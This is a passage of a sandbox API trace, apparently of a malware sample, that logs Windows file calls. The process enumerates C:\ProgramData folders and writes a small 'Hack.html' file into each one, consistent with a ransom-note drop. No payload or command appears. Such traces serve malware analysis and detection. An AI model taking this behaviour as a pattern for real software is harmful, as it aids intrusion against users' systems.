returned 1 [0068.772] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.773] GetFileType (hFile=0x258) returned 0x1 [0068.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0068.773] GetFileType (hFile=0x258) returned 0x1 [0068.773] WriteFile (in: hFile=0x258, lpBuffer=0x2701124*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2701124*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0068.774] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", lpFilePart=0x0) returned 0x35 [0068.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0068.774] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.775] GetFileType (hFile=0x258) returned 0x1 [0068.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0068.775] GetFileType (hFile=0x258) returned 0x1 [0068.775] WriteFile (in: hFile=0x258, lpBuffer=0x27038fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x27038fc*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0068.776] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x2b [0068.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.777] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.777] GetFileType (hFile=0x258) returned 0x1 [0068.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.777] GetFileType (hFile=0x258) returned 0x1 [0068.777] WriteFile (in: hFile=0x258, lpBuffer=0x27060ac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27060ac*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.778] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x26 [0068.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.778] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\programdata\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.779] GetFileType (hFile=0x258) returned 0x1 [0068.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.779] GetFileType (hFile=0x258) returned 0x1 [0068.780] WriteFile (in: hFile=0x258, lpBuffer=0x270884c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x270884c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.781] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0068.781] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\", lpFilePart=0x0) returned 0x19 [0068.781] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.781] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.781] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.782] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.782] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.782] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM", lpFilePart=0x0) returned 0x18 [0068.782] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\", lpFilePart=0x0) returned 0x19 [0068.782] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a8a8 [0068.782] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.782] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.783] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.783] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.783] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x26 [0068.783] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\", lpFilePart=0x0) returned 0x27 [0068.783] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.792] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.792] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.792] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.793] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.793] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.793] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.794] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0", lpFilePart=0x0) returned 0x26 [0068.794] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\", lpFilePart=0x0) returned 0x27 [0068.794] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0068.795] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.795] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.795] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.796] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.796] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.796] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.797] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\Hack.html", lpFilePart=0x0) returned 0x30 [0068.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.797] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\Hack.html" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.798] GetFileType (hFile=0x258) returned 0x1 [0068.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.798] GetFileType (hFile=0x258) returned 0x1 [0068.798] WriteFile (in: hFile=0x258, lpBuffer=0x270dea4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x270dea4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.799] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\ARM\\Hack.html", lpFilePart=0x0) returned 0x22 [0068.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.799] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\ARM\\Hack.html" (normalized: "c:\\programdata\\adobe\\arm\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.801] GetFileType (hFile=0x258) returned 0x1 [0068.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.801] GetFileType (hFile=0x258) returned 0x1 [0068.801] WriteFile (in: hFile=0x258, lpBuffer=0x2710634*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2710634*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.802] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x1e [0068.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.802] CreateFileW (lpFileName="C:\\ProgramData\\Adobe\\Hack.html" (normalized: "c:\\programdata\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.802] GetFileType (hFile=0x258) returned 0x1 [0068.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.802] GetFileType (hFile=0x258) returned 0x1 [0068.803] WriteFile (in: hFile=0x258, lpBuffer=0x2712db4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2712db4*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.804] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data", lpFilePart=0x0) returned 0x1f [0068.804] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data\\", lpFilePart=0x0) returned 0x20 [0068.804] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Application Data\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0068.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0068.806] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Application Data\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Application Data\\Hack.html", lpFilePart=0x0) returned 0x29 [0068.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.806] CreateFileW (lpFileName="C:\\ProgramData\\Application Data\\Hack.html" (normalized: "c:\\programdata\\application data\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.807] GetFileType (hFile=0x258) returned 0x1 [0068.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.807] GetFileType (hFile=0x258) returned 0x1 [0068.807] WriteFile (in: hFile=0x258, lpBuffer=0x2716044*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2716044*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.808] CloseHandle (hObject=0x258) returned 1 [0068.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop", lpFilePart=0x0) returned 0x16 [0068.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop\\", lpFilePart=0x0) returned 0x17 [0068.809] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Desktop\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0068.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0068.811] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Desktop\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Desktop\\Hack.html", lpFilePart=0x0) returned 0x20 [0068.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.811] CreateFileW (lpFileName="C:\\ProgramData\\Desktop\\Hack.html" (normalized: "c:\\programdata\\desktop\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.812] GetFileType (hFile=0x258) returned 0x1 [0068.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.812] GetFileType (hFile=0x258) returned 0x1 [0068.812] WriteFile (in: hFile=0x258, lpBuffer=0x271920c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x271920c*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.813] CloseHandle (hObject=0x258) returned 1 [0068.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.813] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents", lpFilePart=0x0) returned 0x18 [0068.814] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents\\", lpFilePart=0x0) returned 0x19 [0068.814] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Documents\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0068.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0068.815] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Documents\\Hack.html", lpFilePart=0x0) returned 0x22 [0068.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.815] CreateFileW (lpFileName="C:\\ProgramData\\Documents\\Hack.html" (normalized: "c:\\programdata\\documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.817] GetFileType (hFile=0x258) returned 0x1 [0068.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.817] GetFileType (hFile=0x258) returned 0x1 [0068.817] WriteFile (in: hFile=0x258, lpBuffer=0x271c404*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x271c404*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.818] CloseHandle (hObject=0x258) returned 1 [0068.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites", lpFilePart=0x0) returned 0x18 [0068.818] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites\\", lpFilePart=0x0) returned 0x19 [0068.818] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Favorites\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0xffffffff [0068.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edbc) returned 1 [0068.820] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x22 [0068.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0068.820] CreateFileW (lpFileName="C:\\ProgramData\\Favorites\\Hack.html" (normalized: "c:\\programdata\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.821] GetFileType (hFile=0x258) returned 0x1 [0068.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0068.821] GetFileType (hFile=0x258) returned 0x1 [0068.821] WriteFile (in: hFile=0x258, lpBuffer=0x271f5fc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x271f5fc*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0068.822] CloseHandle (hObject=0x258) returned 1 [0068.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.822] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0068.822] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\", lpFilePart=0x0) returned 0x19 [0068.823] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.823] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.823] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.823] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.823] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.823] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.824] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.825] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.826] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.833] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.833] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.833] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.833] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.834] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0068.834] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0068.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0068.834] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0068.834] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\", lpFilePart=0x0) returned 0x19 [0068.835] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x59a8a8 [0068.835] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.835] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.835] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.835] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.835] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0068.836] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 